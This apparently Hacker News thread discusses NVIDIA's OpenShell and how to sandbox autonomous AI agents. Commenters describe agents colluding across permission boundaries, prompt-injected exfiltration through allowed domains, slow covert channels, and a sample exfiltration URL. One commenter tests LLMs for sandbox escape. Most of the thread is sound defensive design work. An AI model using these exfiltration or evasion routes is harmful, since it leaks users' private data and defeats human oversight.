OpenShell – A safe, private runtime for fleets of autonomous AI agents
github.com
github.com
Apparently agents will collude to break out of their individual sandboxes by delegating tasks to other agents that have the required permissions. This is a problem with agent fleets, because you need them to coordinate on their tasks. So you need to them to communicate.
A naive approach to prevent agents from doing something you dont want to do is a separation of powers, which individual permissions limited to each agents task. Say one agent to find and extract raw data, one to process it and write a report and one to publish it. If one of the agent decides that needs to publish the raw data, then chances are that they will collude to make that happen, even though no single agent has the permissions to achieve that goal.
OpenShell tries to fix this by monitoring the collective permissions set of the agent fleet, and by maintaining very granular permissions for each agent.
This was presented together with Sentry, which is something like a on-chip hardware firewall (BlueField) that sits between the chip agent run-time runs on, and the host. This improves safety by removing the ability of agents to modify their own OpenShell policies.
On a more practical traditional computing note, you'd have a deterministic program sitting that scrubs the formatted data of PII before and after processing. with extra code to alert if the after-processing ever actually sees PII.
I have no affiliation with it, but it solved most of what I need in one go when I was stressing out about it.
Only real problem remaining if you truly want to be able to trust agents is how to prevent data (in my case codebases the agent works on) exfiltration a la HF incident.
We can restrict network to trusted domains, but there's always a chance an agent could be extra slippery especially if prompt injected and doing something like pushing data out a few characters at a time.
In my case I'm also giving it gh access and having to deeply check things like: can it manage to fork public repos and embarrass us by submitting prs, could it open issues, etc.
But that's kind of solved by proxying the heck out of gh rather than giving it direct (or wrapping it or whatever) for additional controls that gh themselves don't provide.
I'm still musing over the "it could send data to an allowed domain in a way we don't expect that exfiltrates something"...
In other comments I've mused about capturing data to be compared to the secret dataset, I'm sure it'd be possible to hash or something so that the proxy/sandbox doesn't have the data but can check it, or because it's not an agent it can call of to the data store for that.
Then you can just collect sequential blocks of data the agent sends out that match to sequences in the dataset. The longer the matching sequence the heavier it weights it. Single byte matches are almost always incidental, but individually sent bytes over time that line up with a n byte sequence in the source data is sus. And larger sequences of bytes send in one go that line up are immediately sus. If the weight ends up too high the agent is paused/walled off and an investigation called for.
And you'd never predict which mobile software pins certificates. The most randomest Joe Schmoes of apps will have pinned certificates sometimes. It's like the stupid root/jailbreak detections.
To me this obfuscates an oxymoron: the more access you give the agent the more capable it becomes. You can't have you cake and eat it, this tool allows to strike a balance I guess. But the blurp reads like it can do it all, but now secure. That can't be true.
Everything needs to go through a proxy, whitelisted domains only, plus credential swapping/re-signing so that the agent never has the real credentials. Docker sandbox looks quite good (September) but I've been using iron proxy (if the author is reading this, fucking thank you bro!) to great effect.
I still haven't cracked "what if the agent decides to drop parts of your codebase somewhere it shouldn't" yet, but I'll figure it out.
All it needs is public access to anything it can have the tiniest effect on, and it can exfiltrate data. Something as simple as a read count on some obscure forum post would be enough, albeit very slow.
The idea is that agents never have all parts of the trifecta, maximum 2: untrusted content, private data or network access.
Harness have network access by default since they are driven by their provider API, unless you use offline models. So that's a problem.
I am then passing around messages that are tagged trusted/untrusted and the engine can monitor if any agent in the project ever completes the Lethal Trifecta and thus, is vulnerable.
Usually this means for most workflows, the "work" gets done by an offline LLM after some input/classification stages. There's not many ways around it.
Yes, it's a difficult problem.
In terms of agent architecture I'm initially trying to minimise specialisation to make deployment easier on us. Infrastructure is becoming our largest blocker because it's otherwise so quick to get an agent up and running.
With your trifecta, let's say the three musketeers, how do you prevent sensitive data holding A from passing said data to B or C if they all need to collaborate to get a task done?
Agent A has internet access and the dangerous message, but no access to the secret company data, so nothing can get exfiltrated.
Agent B gets a tainted message from Agent A. Agent B can process the message using the secret company data. Agent B has no internet access and can only receive/send messages.
You can imagine an agent C that moves the work along or replies to an external user with the outcome.
Any workflow that has both an input and an output will complete the Lethal Trifecta as a whole, but no single agent does by itself. It raises the bar quite a lot, you need to confuse multiple agents in the loop to exfiltrate data.
Fun research, but it's a bit hard to see all my coworkers right now installing Claude desktop and moving on with no afterthought whatsoever...
Regarding infrastructure: my toy sandbox is just a docker-compose inspired YAML project file. So it's only containers. See my profile. The principle can be implemented anywhere you can run agents and cut network/data access though.
I'm using compose atm as well, mostly just because I need to prove a few concepts and committing to real (well cloud) infra is the slowest part of our dev cycle atm.
And yeah, many of my colleagues (and myself, I'm guilty too) run local code agents for development and we're just kind of...trusting them to do their thing.
But for autonomous stuff I'm assigned to atm I want to avoid any mishaps as much as I can, hence the effort to try and lock all this stuff down.
What's crazy is every day I'm finding solutions (not just to this problem, but in the AI space in general) that were released just a month or two before more often than not. It feels like 2010s node.js ecosystem all over again at the moment. Hopefully we settle into a few nice easy panopticon options that we can throw arbitrary agents into without a care in the world.
The harness needs network access, but the shell spawned by the harness that runs the agent's commands does not necessarily need it.
Having a bwrap etc managed by the harness (DSH does this, among others) lets you have tighter restrictions on the agent's shell than the harness. Then run the whole thing inside a VM with a private network, so you can add nft rules to let it dial out to your inference machine but not to the internet at large. It takes an afternoon to set up but gives some reasonable defence in depth.
How did you go about it?
But perfect is the enemy of better.
You see some of the vulnerability chains humans come up with and they're just insane.
Even scanning network data for sensitive strings (say matching against a codebase or data set it works on) is tough because you can only check so granularly before you get loads of false positives.
But maybe like a "rolling" sort of check would help with that, % of outbound data matching private dataset (which should be operated on but not transmitted) over time. That way it minimises what gets out while dealing with false positives. Some biz thresholds might be >20% of data others might be >0.5%. Hmm.
That obviously includes talking with the provider.
If you want it secure, it has to be off the internet and on your own hardware.
The timescale can be adjusted to a length suitable for sensitivity of the data.
Although you may run into the monkey and typewriter problem a bit if the period is indefinite.
Stripping headers, not allowing other than GET requests. Only allows HTTPS etc, the list goes on.
My point was that even if you locked down an agent to only ever read a single forum, and only to be able to access other post URLs that are from that forum, and not allow any query parameters that aren’t necessary etc.
Even then you can be having the slightest public effect that can exfiltrate data - a read count on some old post. I know it’s wildly impractical, it’s more a thought experiment on how hard it it.
GET foobar.com/thisissomeextracteddata
You can also imagine it being much subtle, encoded/encrypted, sent in small pieces to avoid detection, etc.
Firstly, the forum site I’m theorising here is not compromised.
Secondly, as I mentioned, in this situation I would limit the URLs it’s allowed to get.
You’d allow the top level of the forum index, and only then allow it to follow links within that site. “Thisissomedata” would be denied anyway.
All I meant was all of these complex limitations still don’t prevent exfiltration.
But like if you only allowed for example JavaScript code that could be executed in a WASM sandbox, then you would have better control instead of just locking down with proxies. Basically there would be a very large API, basically tools, that the agent would codemode execute. My guess is that this would need a tool router to optimize the loading of these into the context. But it would give you very fine control over what code execution can and cannot be done.
slim, fast, microvm that runs on every platform.
disclaimer: am author
I only heard about smolvm yet and they are YC, so I'm hesitant to use them as they will probably one day pull the rug.
As for the rug pull concern, I'm committed to open source with 2 pieces of evidence.
1. oss license 2. Business model is accruing revenue from offering hosted service + inbound due to the open source project. The business model + open source is aligned.
disclaimer: maintainer of smol machines
My agentic workloads happen on two physical machines dedicated only to agentic workloads that share a VLAN with only eachother, with single token access to the specific repositories they are meant to push to and limited scope, hard limited credentials pulled from the hardware store on hardware token/fingerprint request only.
I view the safety around unmonitored agentic work in a similar way to how I view working with viruses or bacteria in a disease lab.
This stuff isn’t magic, it isn’t intelligent, but it is dangerous and needs to be handled with careful intent.
I ask because I’ve found that as isolation increases, so does friction, and then of course capabilities.
That means agents can collaborate on issues locally without needing network access to an external tracker, which could help with the sandboxing problem. You can then sync when it is deemed safe.
It’s called Epiq on Github.
One benefit of doing this is that I can leave it doing long term slow things with slow but capable LLMs on a truly 24x7 basis without worrying about it being interrupted by a laptop being closed/going to sleep, or workstation level software updates/reboots on my primary desktop PC.
For people who don't want to do it with proxmox you can also do the same with manual KVM command line tools (virsh, etc) with no GUI. Or as something like a Xen dom0 running the guest as a xen HVM or PVH guest. Lots of ways to do it.
If I need to move it I can shutdown the VM and take an image of its LVM logical volume storage device (by something as rudimentary as like dd into an xz file), move the file, then create a new identically sized logical volume and do the reverse using dd to write from the file into the LVM logical volume location on the destination.
Edit: It would also be possible to do this all in one machine by something as basic as running virtualbox on your laptop, make a disk image file, installing the VM in that, give it bridge mode access to the physical network adapter to get its own DHCP lease in your same LAN segment, and treat it as a logically separate computer. There's minor risks of theoretical hypervisor escapes from the VM on the same machine, but such things tend to get patched fairly quick.
how am i gonna run a game and do all development inside docker...?
If you mean the former, I think you'll find probably 90% of devs are "crazy", running Claude Code or Codex on their bare metal using the auto-classifier.
I used to always run claude with `--dangerously-skip-permissions` in a dev container, but I had to rebuild my container 10 times a day to update the firewall so it can access documentation.
Now I find the included auto-classifier is very reliable. If you keep tasks contained instead of open-ended long-horizon work, it doesn't seem much goes wrong with frontier models. The worst unintended action claude did for me in the past months is that it once discarded an unstaged file which wasn't committed yet, without asking.
But I realize it's still playing with fire, no matter how good the auto-classifier is.
Sounds like waitpid(2) is dangerous!
"The worry is that, while right now you need to be a skilled virologist to know what components to order or how to grow and spread a bioweapon, AI tools might eventually make it possible for a rogue state, or a rogue group, or an individual, to do all this without virology expertise.
For a while, Anthropic tested whether Claude could assist a terrorist in developing a biological weapon in the obvious way: It assigned testers who had, say, an undergraduate degree in chemistry but no real virology training to try to use Claude to plan an effective mass terror event. Then it scored the attempt by how close it might have come to success.
Early in 2026, it noticed that Claude, attempting the task by itself, did better than a human aided by Claude did at coming up with a workable plan."
https://www.theargumentmag.com/p/what-i-saw-inside-anthropic
The machine god crafters know better than us, we are to subservient to their superior wisdom /s
Aside: it (JP) fights in my head with BTTF as a "perfect movie" (or at least a perfect script).
What this means is that the only hope for secure applications is security by construction, with formal methods. The race is on for constructing formally verified primitives with more and more expansive guarantees. The Anthropic/Theorem proofs show lack of memory sanitization issues. But that's just one class of problem.
Imagine a chip, a minimal boot loader, a minimal Linux, and an application library stack - all verified with high level guarantees. Then, you can plug in your application development to give you end-to-end verification guarantees. ie: no way to leak credentials at any level from the chip up to the application. No sense in your foundation being so strong if your application has easy RCEs. You need a full stack approach.
I know I'm describing a far off dream world, but it may be what's required to quell the economic "bomb" of so much dev time "wasted" in patching vulns, against actual feature dev / business value generation.
I had never heard about it before.
>To disable it, set OPENSHELL_TELEMETRY_ENABLED=false on the gateway, or server.telemetryEnabled=false for Helm installs.
[1] https://github.com/NVIDIA/OpenShell/blob/ea13dfce411e8467ddb...
I am happy the repo explicitly points out and provides a disable for the telemetry though, that's good enough for me.
[1] https://docs.nvidia.com/openshell/latest/observability/telem...
It is not, nor of open source software in general.
In general, the saying is specifically in reference to services provided over the internet -gmail, youtube, whatever. Note that you don't have the right to modify them and share your own copies -they're closed source.
So no, it's not true of Linux, GNU, etc; it's an apples and oranges comparison.
There is no such thing. The mere act of making a network connection reveals things like your IP address (reveals your hosting provider or even your geolocation for residential/mobile IPs), days and times you use the software, your OS via TCP/IP stack fingerprinting, etc.
The network path between you and the telemetry endpoint is always listening, too: https://en.wikipedia.org/wiki/Room_641A
Don't take chances, give as little as possible. Better to assume you'll get burned somehow and leave it off.
Feel free to opt out maybe?
"feat(ai-sandbox): accept MXC policy JSON for protected execution · westurner/sandbox@7538c33" https://github.com/westurner/sandbox/commit/7538c3386af8cb62...
"bwrap: Add the option to skip the procfs mount · Pull Request #1508 · microsoft/mxc" https://github.com/microsoft/mxc/pull/1508
"Manage Sandboxes | NVIDIA OpenShell" https://docs.nvidia.com/openshell/latest/how-it-works/sandbo...
To sandbox LSP servers in sphinxdocrs with bwrap in rootless containers, we needed to add a --no-procfs-mount CLI arg (and MXC JSON) to sandboxes, because you can't mount /proc in a rootless container.
That aside, the level of control is cool, almost too pedantic. It likely is only particularly useful for very nuanced enterprise requirements (probably what it's targeting). Most companies can be much more coarse with their permissions, and I think the agentic industry is moving away from k8s as a deployment platform.
Interesting, I don't to keep up that much with the AI changes so I'll just ask, why and where to?
believe me i love k8s, and i think agents wield it amazingly well, no more yaml-slop or kubectl (`k`) slop, just yell at claude to fix it
> I think the agentic industry is moving away from k8s as a deployment platform.
Spinning up and snapshotting and rolling back agent states, sure.
Uhhhhhhhhhhh I think you and I live in very different versions of the world :-)
Vmware sent companies moving to nutanix, but it also sent a lot of companies moving to openshift or bare k8s and using kubevirt to handle VMs.
In fact, I haven't heard of an org moving to any other platform, really. Either openshift or k8s.
same as a db, better to pay #x as much and have it hosted then to be wishing it was not your problem when it was down
and we may very well live in different versions of the world. i'm on the frontlines of startups so we move with the customer, rather than making customers move with us
Ours is all on-prem all over the country in our own internal small datacenters for regulatory, safety, security, and operational reasons. Provisioned and automated from bare metal. We also use those same images in cloud for something like a quorum situation, or maybe some data locality for a particular pinned workload.
But it's mostly us, in our stuff and at the enterprise edge.
Different problems.
Now if Microsoft will start addressing the fact that VSCode remote ssh exposes your host to attack from the sandbox...
And I'm perfectly happy telling the model "you're allowed to commit to feature branches and open PRs", "you're allowed to read path /x/y/z", "don't make any changes in /a/b/c" and my plugin will enforce it well enough to stop a well behaved model that tries to do something stupid by mistake.
The second tier is a proper sandbox (actually 2 security tiers there) setup in a k3s namespace created just for the agent on the fly. This keeps the network, file serving, cluster access to minimum.
But maintaining a proper sandbox is a pain when you suddenly need an agent to troubleshoot a weird network problem that requires access to your switches, routers and servers with sudo to resolve. I use the sandbox very rarely these days.
So I'm a big fan of the first solution. It is very new software. I'm still in the process of finding and fixing first bugs, but I've been using it for 2 weeks now and I'm pretty happy.
Also I very much like the fact subagents can be just told "you have read/write access to /tmp" by the supervisor agent and this will be enforced deterministically.
Many such plugins have a fail mode where commands created by LLMs are simply too elaborate to parse. My plugin uses tree sitter to walk the command tree and the threshold of such failure is much higher than otherwise.
Coming back to sandboxes. This may very well be a cool tool. But the hardest is not setting up the security rules, but knowing in advance everything your agent needs access to.
Unhelpful, I know
We're not in FreeBSD jails anymore, Toto.
But I'm trying to be a "greatness is other people" (Pantheon) person.
Though I'm often running into frustrating (albeit intentional) sandbox restrictions with common workflows e.g. xcode/swift and Docker access.
Would love suggestions for how to give agents access to those kinds of tooling inside the sandbox, either with srt or an alternative (with similar convenience characteristics).
These techniques can actually be combined and will be combined in the long-term I think. You may have LSM-based sandboxes that exist in Docker-based sandboxes.
EDIT: I added to my profile after the above comment so it is a valid point.
Plus you're forced to move at their pace which is unfortunate sometimes. Granted Amazon's bedrock stuff is slow and disappointing but at least I can rejig it work in conjunction with other aws products.
And if you're prepared to not use anthropic but any cloud provider for your infra then you can do whatever you like elsewhere. Just use docker sandbox or iron proxy to replicate network control/cred swapping (iron even does sigv4 re-signing).
I know there are distinct camps here, and the long term story may evolve - but for now I just want the whole harness inside a sandbox - ideally, a full VM - and THEN you can further sandbox things it runs if you really want different tiers within that.
By the way things are headed, pretty soon we're gonna run out of nouns to put behind the word "open".
They are the premier manufacturer of electronics that power all the current AI. Why wouldn't they be contributing heavily to the space?
They also make legal threats I think.
Doesn't seem that wild to me considering it is less that they abandoned the gaming market to any strong competitors and more that the gaming market is both basically irrelevant compared to the money being shoveled into AI and is also to some degree being strangled to death by AI because of the overlap in supply chain inputs.
The vast majority of gaming market share and revenue comes from mobile, where Nvidia doesn't participate.
The next biggest is consoles, and neither Xbox nor PS uses Nvidia cards.
That only leaves the PC GPU market, which they do dominate, but still split with AMD.
And all of this is only for hardware. Nvidia doesn't make or publish games, and doesn't own any distrubution channels.
So I doubt Nvidia makes a meaningful chunk of the overall gaming industry revenue.
The economist literally called Nvidia the "Central Bank of AI". https://www.economist.com/interactive/briefing/2026/09/03/nv...
I'd argue that Nvidia is the biggest and most important AI company in the world.
After that we can segment then into civilizations! The [?] processing unit is the limit!
"Open" and "Shell" and just calling something private and safe out the box genuinely makes me think it's likely to fail at all of those claims.
There you go. Just don't tell everyone how it works.
I encountered the same challenge building my toy sandbox. I wanted to use containers because that's what I know best.
The harness is launched in an internal only network. There is a sidecar container that provides mitm credential injection/proxy. I got HTTPS and SSH to work so far.
Claude code was quick to build it. No doubt it's copying previous work in this space though, so I know my work is not that original.
I'm testing all the llms that can be used for pen testing right now to see if/how they manage to escape it. Without a kernel exploit I doubt it's possible (not a very high bar I know).
I'm researching the space. Happy to learn more. Some links in my profile if you're interested.
Of course I’m the type to mount a ftp drive like a moron.
> We design systems and use agents to implement them — this is not vibe coding.
Lol, what is even the point of such a statement, and who are they to define what vibe codig is or isn't :D
However, these days i think i do so because of how much i write for LLMs, and dont want to start sending emails to humans without proper etiquette.
Spyware
Looking at the complexity of OpenShell and the simplicity of just building on top of docker, in a whitelist only mode.. I don't quite get the use-case of OpenShell. May be for large orgs where there is so much legacy and difficulty in organizing access to tools, OpenShell can simply re-use whatever you already have access to on your corporate account.
I chose to build straight on top of docker and agents are simply fully sandboxed by default. All data and network access must be granted in a simple project file, docker-compose style.
The web-ui connects to the docker socket and lets you spawn agents, and connect terminals. I'm having lots of fun with it and it allows me to cleanly organize and isolate my projects.
End-goal is to monitor for the Lethal Trifecta [2], ensuring all individual agents are properly isolated. Not quite there yet.
1: https://github.com/egzo-ai/egzo 2: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/